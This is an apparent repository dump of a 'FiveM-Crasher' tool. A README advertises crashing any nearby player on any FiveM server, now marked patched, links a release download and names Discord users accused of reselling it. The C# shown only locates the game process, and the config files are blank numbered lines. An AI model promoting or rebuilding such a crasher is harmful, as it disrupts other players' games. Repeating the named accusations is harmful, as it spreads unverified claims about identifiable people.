-------------------------------------------------------------------------------- /FiveM/Utils/Utils.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | 4 | namespace FiveM.Utils { 5 | class Utilities { 6 | 7 | private static System.Diagnostics.Process p; 8 | private static HashSet ProcList = new HashSet(); 9 | 10 | public static System.Diagnostics.Process BaseProc() { 11 | ReadProcs(); 12 | return p; 13 | } 14 | 15 | public static string ToHex(IntPtr d) { 16 | return d.ToString("X"); 17 | } 18 | 19 | private static void ReadProcs() { 20 | //1604 21 | ProcList.Add("FiveM_GTAProcess"); 22 | 23 | //2189 24 | ProcList.Add("FiveM_b2189_GTAProcess"); 25 | 26 | var procs = System.Diagnostics.Process.GetProcesses(); 27 | foreach(System.Diagnostics.Process prc in procs) { 28 | if(ProcList.Contains(prc.ProcessName)) { 29 | p = prc; 30 | return; 31 | } 32 | p = null; 33 | } 34 | 35 | } 36 | 37 | } 38 | 39 | } 40 | -------------------------------------------------------------------------------- /FiveM/app.manifest: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 52 | 59 | 60 | 61 | 75 | 76 | 77 | -------------------------------------------------------------------------------- /FiveM/packages.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # FiveM-Crasher (Patched ATM) 2 | It means that it doesn't work anymore. 3 | 4 | ## Crash ANY player in your bounding radius in ANY FiveM server. (Works for b2189 and 1604) 5 | ![alt text](https://i.imgur.com/z0prB1q.png) 6 | 7 | ### Requirements 8 | .NET Framework 4.8 9 | 10 | ### Pasters/Leecher/Lammers ❗ 11 | **BE CAREFUL!!!!! these people are selling my open-source project that can be downloaded for free here:** 12 | [Download](https://github.com/comradefy/FiveM-Crasher/releases/tag/1). 13 | 14 | ``` 15 | sixteen / dc: sixteen#7513 16 | 17 | Salva / dc: Salva#1234 18 | 19 | MoakinG / dc: MoakinG#0001 20 | ``` 21 | 22 | **they AREN'T devs, they are Leechers.** 23 | --------------------------------------------------------------------------------